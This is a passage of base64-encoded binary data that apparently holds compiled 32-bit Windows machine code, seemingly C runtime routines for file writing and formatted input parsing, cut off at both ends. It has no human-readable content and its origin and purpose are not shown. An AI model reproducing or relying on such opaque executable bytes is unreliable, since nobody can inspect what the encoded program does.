ImoNWFCJhTTl///otHAAAFmLjTTl//9mO8F1T0b/hUTl//+LlUDl//+LhSzl//87VRAPgqn9///pRQEAAIudKOX//0aKAouVJOX//4sMnQhxRACIRAo0iwSdCHFEAMdEAjgBAAAA6RcBAAD/FbigQgCL+OkKAQAAi4Uo5f//iwyFCHFEAIuFJOX///ZECASAD4R1AwAAi5Uw5f//M/+JvTTl//+E2w+FDgEAAItdEImVOOX//4XbD4SNAwAAM8mNvfTr//+LwomNPOX//yuFMOX//zvDc0SKCkJAiI0f5f//gPkKiZU45f//i4085f//dQv/hUTl///GBw1HQYqVH+X//4gXR4uVOOX//0GJjTzl//+B+f8TAAByuIuNJOX//42F9Ov//yv4jYUg5f//agBQV42F9Ov//1CLhSjl//+LBIUIcUQA/zQB/xX0oUIAhcAPhBP///8DtSDl//85vSDl//98FouVOOX//4vCK4Uw5f//O8MPgkH///+LvTTl//+LjUTl//+F9g+F9QIAAIX/D4SsAgAAagVbO/sPhZgCAADoJZD//8cACQAAAOjmj///iRjpxgIAAIvKgPsCD4XqAAAAOXUQD4Z8AgAAx4UU5f//CgAAAIOlGOX//wCNnfTr//+LwWoNK8KLlRjl//9eO0UQczMPtzmDwAKDwQJmO70U5f//dRCDhUTl//8CZokzg8MCg8ICZok7g8ICg8MCgfr+EwAAcsiNhfTr//+JjTzl//+LjSTl//8r2GoAjYUg5f//UFONhfTr//9Qi4Uo5f//iwSFCHFEAP80Af8V9KFCAIu1QOX//4u9NOX//4XAD4Ty/f//A7Ug5f//ibVA5f//OZ0g5f//D4zx/v//i4085f//i8GLlTDl//8rwjtFEA+CLv///+nT/v//i10QiY045f//hdsPhIoBAADHhRTl//8KAAAAg6UY5f//AI2FSOX//4u9OOX//yvKi5UY5f//O8tzOw+3N4PBAoPHAom9OOX//2Y7tRTl//91EmoNX2aJOIPAAou9OOX//4PCAmaJMIPCAoPAAoH6qAYAAHLBM/aNjZzy//9WVmhVDQAAUY2NSOX//yvBmSvC0fhQi8FQVmjp/QAA/xUookIAi7VA5f//i7005f//iYU85f//hcAPhAD9//8zyYmNQOX//2oAK8GNlSDl//9SUI2FnPL/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AImFDP7//4mFKP7//4mFPP7//4mFUP7//4mFEP7//4mdXP7//4mFFP7//4X/dRjogXz//8cAFgAAAOi4kP//g8j/6Q8SAACFyXTkVoPO//ZBDEB1cFHoHV7//1mLyDvOdBmD+f50FIvRwfgFg+IfweIGAxSFCHFEAOsFujBeRAD2QiR/dSg7znQZg/n+dBSLwYPhH8H4BcHhBgMMhQhxRADrBbkwXkQA9kEkgHQX6AJ8///HABYAAADoOZD//4vG6ZARAAD/dRCNjfz9///oSE///zPAi/CIhXn+//+LyIm1cP7//4oHibVg/v//iY0w/v//hMAPhEURAAAPtsBQ6MhzAABZhcB0UE6NhWD+//+JtWD+//+LtXT+//9WUOhDEQAAWVmD+P90CVZQ6CRxAABZWUcPtgdQ6I9zAABZhcB18Yu1YP7//4m9aP7//4m1cP7//+nxDwAAigdqJVk6wQ+FYQ8AADhPAQ+ETg8AAIu1aP7//zPJiY00/v//i/mIjU/+//+3AYmNQP7//4rZiY04/v//iY0s/v//iI1X/v//iI1W/v//iI16/v//iI1n/v//iI17/v//iY0k/v//Rg+2BomFSP7//w+2wFDoz3IAAFmFwHRti41I/v///4U4/v//a8cKjXnQA/iKpXr+//+KhXv+//+E23TEiL1m/v//i51c/v//ibVo/v//i7Vw/v//ib1s/v//hOQPhRwBAACLjRj+//+JjRT+//+DwQSJjRj+//+LUfyJlUj+///pAAEAAIuFSP7//4P4Tg+PlgAAAHSWg/gqdHyD+EZ0jIP4SXQQg/hMD4WLAAAA/sfpd////4pGATw2dSONTgKAOTR1G4vx/4Uk/v//g6U8/v//AIOlUP7//wDpTf///zwzdQ+NTgKAOTJ1B4vx6Tr///88ZA+EMv///zxpdHg8bw+EJv///zx4D4Qe////PFh1J+kV////iqV6/v///sSIpXr+///pCP///4P4aHQ7g/hsdAyD+Hd0GP7D6ez+//+NRgGAOGx1B4vw6Xf////+x4qFe/7///7AiIV7/v//iqV6/v//6c7+//+KhXv+///+z/7I6+OKhXv+///r4YOlSP7//wAyyYiNeP7//4uNaP7//4TAdRiKATxTdAvGhXv+////PEN1B8aFe/7//wEPtgmDySCJjVj+//+D+W50YYP5Y3Qmg/l7dCH/tXT+//+NhWD+//9Q6MsOAACLtWD+//9ZibVw/v//6xj/tXT+//9GibVw/v//ibVg/v//6NP7//+L2ImdXP7//1mD+/8PhBUOAACLjVj+//+KpXr+//+LlTj+//+F0nQIhf8PhOQNAACE5HVIg/ljdAqD+XN0BYP5e3U5i4UU/v//g8AEiYUU/v//i1D8g8AEiYUY/v//iZVI/v//i0D8iYUs/v//g/gBD4IhDQAAi5U4/v//g/lvD4/sBQAAD4QRCQAAg/ljD4QqBAAAg/lkD4T/CAAAD474BQAAg/lnfmGD+Wl0PoP5bg+F5QUAAIC9ev7//wCLxg+E7AsAAIu9aP7//4qFef7//4u1cP7///7AR4iFef7//4m9aP7//+mFDAAAamRfib1Y/v//g/stD4XRBgAAxoVW/v//AenKBgAAM/aD+y11C4uFRP7//0aIGOsFg/srdST/tXT+//9Pib1s/v//i71w/v//R+ia+v//i9hZiZ1c/v//6waLvXD+//+DvTj+//8AdQeDjWz+////D7bDUOh8bwAAWYuNbP7//4XAdGqLwUmJjWz+//+FwHRdi4VE/v///4VA/v//iBwGjYUo/v//UI2FfP7//0ZQjYVE/v//UI2FIP7//1BW6Kb5//+DxBSFwA+EbwwAAP+1dP7//0foD/r//4vYD7bDUImdXP7//+gKbwAAWeuLi4X8/f//i4CEAAAAiwCKAIiFV/7//zrDD4XgAAAAi8FJiY1s/v//hcAPhM8AAAD/tXT+//9H6MD5//+LjUT+//+L2IqFV/7//4mdXP7//4gEDo2FKP7//1CNhXz+//9GUI2FRP7//1CNhSD+//9QVugG+f//g8QYhcAPhM8LAAAPtsNQ6H5uAADrbouNbP7//4vBSYmNbP7//4XAdGCLhUT+////hUD+//+IHAaNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFboq/j//4PEFIXAD4R0CwAA/7V0/v//R+gU+f//i9gPtsNQiZ1c/v//6A9uAABZWYXAdY2DvUD+//8AD4RjAQAAg/tldAmD+0UPhVUBAACLjWz+//+LwUmJjWz+//+FwA+EPgEAAIuFRP7//8YEBmWNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFboHvj//4PEFIXAD4TnCgAA/7V0/v//R+iH+P//i9iJnVz+//9Zg/stdTmLhUT+//+IHAaNhSj+//9QjYV8/v//RlCNhUT+//9QjYUg/v//UFbozff//4PEFIXAD4SWCgAA6wWD+yt1MIuNbP7//4vBSYmNbP7//4XAdQghhWz+///rFf+1dP7//0foFPj//4vYWYmdXP7//w+2w1DoDm0AAOtui41s/v//i8FJiY1s/v//hcB0YIuFRP7///+FQP7//4gcBo2FKP7//1CNhXz+//9GUI2FRP7//1CNhSD+//9QVug79///g8QUhcAPhAQKAAD/tXT+//9H6KT3//+L2A+2w1CJnVz+///on2wAAFlZhcB1jU+JvXD+//+JvWD+//+D+/90Dv+1dP7//1PoL2oAAFlZg71A/v//AA+EtAkAAIC9ev7//wAPhUX8//+LhUT+//+Njfz9////hTD+//9Ri41I/v//UMYEBgAPvoVm/v//UUhQ/zUgXkQA/xUMokIA/9CDxBDpB/z//4XSdRFHx4U4/v//AQAAAIm9bP7//4qFe/7//4TAfgfGhWf+//8Bi41w/v//i7VI/v//SYmNcP7//4mNYP7//4P7/3QU/7V0/v//U+iFaQAAWVmLjXD+//+LvVj+//+D/2N0Bv+NLP7//4O9OP7//wB0F4uVbP7//4vCSomVbP7//4XAD4QDBAAA/7V0/v//QYmNcP7//4mNYP7//+h09v//i9iJnVz+//9Zg/v/D4SzAwAAg/9jdEaD/3N1E4P7CXwJg/sND46bAwAAg/sgdS6D/3sPhY0DAAAz0ovDwfgDi8uD4QdC0+IPvkwF3A++hVf+//8zyIXRD4RoAwAAgL16/v//AA+FTwMAAIuFLP7//4XAD4QACAAAgL1n/v//AA+EHAMAAA+2w1CInRz+///oT23//1mFwHQli4Vw/v///7V0/v//QImFcP7//4mFYP7//+i99f//WYiFHf7//42F/P3//8eFEP7//z8AAABQi4X8/f///3B0jYUc/v//UI2FEP7//1DosEAAAIuVSP7//4PEEGaLhRD+//9miQKDwgL/jSz+//+JlUj+///pqAIAAIvBg+hwD4QZAwAAg+gDD4RO/v//SEgPhA8DAACD6AMPhF76//+D6AN0N4u9aP7//w+2BzvDD4UMBwAAioV5/v///siAvXr+//8AD4UQ+v//i5UU/v//iZUY/v//6f/5//+KhXv+//+EwH4HxoVn/v//AYu1aP7//0aAPl51CEbGhVf+////aiCNRdxqAFDo1zsAAIPEDIA+XXUJsl3GRecgRusGipVP/v//ig6A+V0PhJQAAABGgPktdV6E0nRaigY8XXRURom1aP7//zrQcwSK4OsEiuKK0DrUcyaKxA+28irCD7b4i9aLzsHqA4PhB7AB0uAIRBXcRk916ou1aP7//w+2zLABi9GD4QfB6gPS4AhEFdwy0usfiI1P/v//sAEPtsmL0YPhB8HqA9LgCEQV3IqVT/7//4oOgPldD4Vy////i51c/v//gD4AD4RkBgAAibVo/v//6Rb9//+D+yt1P4u9bP7//0+JvWz+//91DYXSdAnGhXj+//8B6yn/tXT+//9GibVw/v//ibVg/v//6Mzz//+L2FmJnVz+///rBou9bP7//4P7MA+FwAEAAP+1dP7//0aJtXD+//+JtWD+///omvP//4vYiZ1c/v//WYD7eHR0gPtYdG+LjVj+///HhUD+//8BAAAAg/l4dCaDvTj+//8AdA9Pib1s/v//dQb+hXj+//9qb1mJjVj+///pYAEAAE6JtXD+//+JtWD+//+D+/90FP+1dP7//1Po7mUAAFlZi41Y/v//ajBbiZ1c/v//6SwBAAD/tXT+//9GibVw/v//ibVg/v//6ADz//+DvTj+//8Ai9hZiZ1c/v//dBSD7wKJvWz+//+D/wF9Bv6FeP7//2p46Xv///+LjUj+//+IGUFIiY1I/v//iYUs/v//6wFGi41w/v//6QP8//+LhXD+//9IiYVw/v//iYVg/v//g/v/dA7/tXT+//9T6EtlAABZWYuFSP7//zvwD4TPBAAAgL16/v//AA+FYPf///+FMP7//4P/Yw+EUff//4C9Z/7//wCLvWj+//90CjPJZokI6T73///GAADpNvf//8aFZv7//wGD+y11CcaFVv7//wHrBYP7K3U4T4m9bP7//3UIhdJ0BLAB6y3/tXT+//9GibVw/v//ibVg/v//6Pvx//+L2FmJnVz+//+LjVj+//+KhXj+//+DvST+//8AD4R8AQAAhMAPhT0BAACD+Xh0Z4P5cHRiD7bDUOjKZgAAi71Y/v//WYXAD4T5AAAAg/9vdSSD+zgPjesAAACLhVD+//+LjTz+//8PpMgDiYVQ/v//weED622LlVD+//9qAGoKUouVPP7//1LoB2cAAIvIiZVQ/v//60wPtsNQ6L5mAABZhcAPhJcAAACLhTz+//+LjVD+//8PpMEEU8HgBImNUP7//4mFPP7//+gN8f//i71Y/v//i9hZi408/v//iZ1c/v///4VA/v//jUPQmQPIi4VQ/v//iY08/v//E8KDvTj+//8AiYVQ/v//dAj/jWz+//90Zv+1dP7//0aJtXD+//+JtWD+///o0PD//1mLjVj+//+L2ImdXP7//+nr/v//i71Y/v//Tom1cP7//4m1YP7//4P7/3QW/7V0/v//U+hYYwAAWVnrBou9WP7//4uNPP7//4uFUP7//4C9Vv7//wAPhCcBAAD32YmNPP7//4PQAPfYiYVQ/v//6Q8BAACEwA+F6gAAAIP5eHQ/g/lwdDoPtsNQ6E5lAACLvVj+//9ZhcAPhKYAAACD/291FIP7OA+NmAAAAIuFNP7//8HgA+s5a4U0/v//CuswD7bDUOhqZQAAWYXAdHDBpTT+//8EU+jV7///i71Y/v//i9iLhTT+//9ZiZ1c/v///4VA/v//g8DQA8ODvTj+//8AiYU0/v//dAj/jWz+//90YP+1dP7//0aJtXD+//+JtWD+///op+///1mLjVj+//+L2ImdXP7//+k+////i71Y/v//Tom1cP7//4m1YP7//4P7/3QW/7V0/v//U+gvYgAAWVnrBou9WP7//4uFNP7//4C9Vv7//wB0CPfYiYU0/v//g+9G998b/yO9QP7//w+EjwEAAIC9ev7//wAPhSD0////hTD+//+LhTT+//+DvST+//8AdByLhUj+//+LlTz+//+JEIuVUP7//4lQBOnv8///io1m/v//i71o/v//hMmLjUj+//90B4kB6djz//9miQHp0PP//zrBdQY4TwF1AUf/tXT+//9GibVw/v//ibVg/v//6Lbu//+L2A+2B0eJnVz+//+JvWj+//9ZO8MPhdwAAAAPtsNQ6AFm//9ZhcB0Kv+1dP7//+iC7v//WQ+2D0eJvWj+//87yA+FkwAAAIm1cP7//4m1YP7//4P7/3UTgD8lD4WpAAAAgH8Bbg+FnwAAAIoHhMAPhafv///pkAAAAIqFe/7//4TAfgczwGaJAusDxgIA6ENr///HAAwAAADrb4P7/3QO/7V0/v//U+jKYAAAWVnHhQz+//8BAAAA61DoF2v//4C9Z/7//wDHAAwAAAB0BzPAZokG6zXGBgDrMIu9dP7//4PO/zvGdAlXUOiIYAAAWVk73nQWV+sLg/v/dA7/tXT+//9T6G5gAABZWYO9KP7//wF1DP+1RP7//+gUQP//WYPI/zvYdRSLjTD+//+FyXUxOI15/v//dCvrJ4O9DP7//wF1GOiOav//xwAWAAAA6MV+//+LhTD+///rCIuNMP7//4vBgL0I/v//AHQKi40E/v//g2Fw/V6LTfxfM81b6Igy//+L5V3DVYvsU1aLdQj/dQz/Bugd7f//i9hZg/v/dA4PtstR6ENiAABZhcB14F6Lw1tdw1WL7FaLdQxXiwY5RQh1TIt9EGoEUIsPO00UdS7oGJn//4kHWVmFwHUEM8DrMYtFGMcAAQAAAIsGA8BQ/3UU/zfoRG7//4PEDOsPUejCmf//g8QMhcB00okH0SYzwEBfXl3DVYvsU1aLdQj3xgD/AAB1EQ+33g+2w1Doj2EAAFmFwHUJD7feg+Pfg+sHXmaLw1tdw1WL7Lj//wAAZjtFCHQGXenfYwAAXcNVi+xWV4t9CP91DP8H6BJiAAAPt/C4//8AAFlmO/B0DmoIVuhB6///WVmFwHXaX2aLxl5dw1WL7IHsTAMAAKEIVEQAM8WJRfyLVRSLRQyLTQhTM9uJlcz8//+JjSD9//+NlUD9//+JhST9//+JlQj9///Hhdz8//9eAQAAiZ3U/P//iZ0U/f//iZ3E/P//iZ3o/P//iZ38/P//iZ3I/P//VovzibU4/f//hcB1GOjGaP//xwAWAAAA6P18//+DyP/pgRMAAIXJdORX/3UQjY20/P//6AY8//+LhST9//+L+4idPv3//4m9MP3//4m9EP3//w+3AImd4Pz//2aFwA+EKBMAAGoIUOhd6v//WVmFwHRZi4Ug/f//T1BQjYUQ/f//ib0Q/f//UOjT/v//WVkPt8BQ6LL+//+LtST9//9ZWYPGAmoID7cGUOgb6v//WVmFwHXsi70Q/f//ibUk/f//ib0w/f//6QcSAACLjST9//9qJVoPtwFmO9APhX8RAABmO1ECD4RiEQAAi70k/f//i/OKw4md7Pz//4rTibXQ/P//tgGJnfj8//+Ly4md8Pz//4mdLP3//4md2Pz//4id5/z//4idD/3//4iFN/3//4iVB/3//4idH/3//4idP/3//4i1K/3//4mN9Pz//4PHAg+3H/fDAP8AAHU5D7bDUOhfXwAAipUH/f//WYuN9Pz//4XAdBP/hfD8//9rxgqNc9AD8OmCAAAAirUr/f//ioU3/f//g/tOD48IAQAAdGuD+yoPhPAAAACD+0Z0XYP7SXQTg/tMD4X7AAAA/saItSv9///rRQ+3RwKD+DZ1J2aDfwQ0dSCLjfT8//+DxwSDpej8//8AQYOl/Pz//wCJjfT8///rFYP4M3VtZoN/BDJ1ZoPHBIuN9Pz//4qdP/3//4q1K/3//4qFN/3//4TSD4Qp////ib0k/f//i70w/f//ibUs/f//i7XQ/P//hMAPhb4AAACLhcz8//+Jhcj8//+DwASJhcz8//+LQPyJhQD9///pogAAAGpkWWY7wXSVamlZZjvBdI1qb1lmO8F0hWp4WWY7wQ+Eef///2pYWWY7wXUj6Wz////+wIiFN/3//+ll////g/todEZqbFg72HQSg/t3dCf+woiVB/3//+lB////amyNRwJbZjkYdQeL+OkJ/////saItSv9//+KnT/9///+w4idP/3//+kg////ip0//f///s6ItSv9///+y+vjg6UA/f//ADL/hNt1GouFJP3//w+3AIP4U3QJg/hDdAT+w+sDgMv/i4Uk/f//aiAPtxBYC9BqbliJlRj9//870A+ELQEAAIP6Y3Qmg/p7dCH/tSD9//+NhRD9//9Q6Pv7//+LvRD9//9Zib0w/f//6xj/tSD9//9Hib0w/f//ib0Q/f//6PhdAABZD7fIuP//AACJjTj9//9mO8EPhKYDAACLlRj9//+LhfD8//+FwHQNg70s/f//AA+ELg8AAIC9N/3//wB1VIP6Y3QKg/pzdAWD+nt1RYuFyPz//4PABImFzPz//4tA/ImFAP3//4uFzPz//4mFyPz//4PABImFzPz//4tA/ImF2Pz//4P4AQ+C6g4AAIuF8Pz//4P6bw+PZwYAAA+ELQoAAIP6Yw+ECwUAAGpkWDvQD4QZCgAAD45xBgAAg/pnfkKD+ml0MGpuWDvQD4VcBgAAgL03/f//AIvHD4SXDQAAi504/f//6akEAACLjTj9///pKf///4v4ib0Y/f//6awHAACLnTj9//8z9motWWY7y3UMi4UI/f//RmaJCOsIaitYZjvDdSL/jSz9//9H/7Ug/f//ib0w/f//6LpcAAAPt9hZiZ04/f//g73w/P//AA+FiAAAAIONLP3////rfw+2w1Do0VsAAFmFwHR9i40s/f//i8FJiY0s/f//hcB0aouNCP3///+F+Pz//2YPvsNmiQRxjYXU/P//UI2FQP3//0ZQjYUI/f//UI2F3Pz//1BW6HX5//+DxBSFwA+E/QEAAP+1IP3//0eJvTD9///oJVwAAA+32FmJnTj9///3wwD/AAAPhHX///+LhbT8//+LgIQAAACLQDAPtziLzw++wzvIi40s/f//D4XuAAAAi8FJiY0s/f//hcAPhN0AAAD/tSD9////hTD9///oyFsAAA+32IuFCP3//4mdOP3//2aJPHCNhdT8//9QjYVA/f//RlCNhQj9//9QjYXc/P//UFboxfj//4PEGIXAD4RNAQAAvwD/AACF33V8D7bDUOi1WgAAWYuNLP3//4XAdG6LwUmJjSz9//+FwHRhi4UI/f///4X4/P//ZokccI2F1Pz//1CNhUD9//9GUI2FCP3//1CNhdz8//9QVuhd+P//g8QUhcAPhOUAAAD/tSD9////hTD9///oDlsAAA+32FmJnTj9///rgIuNLP3//4O9+Pz//wAPhL4BAABqZVpmO9N0DGpFWGY7ww+FqgEAAIvBSYmNLP3//4XAD4SZAQAAi4UI/f//ZokUcI2F1Pz//1CNh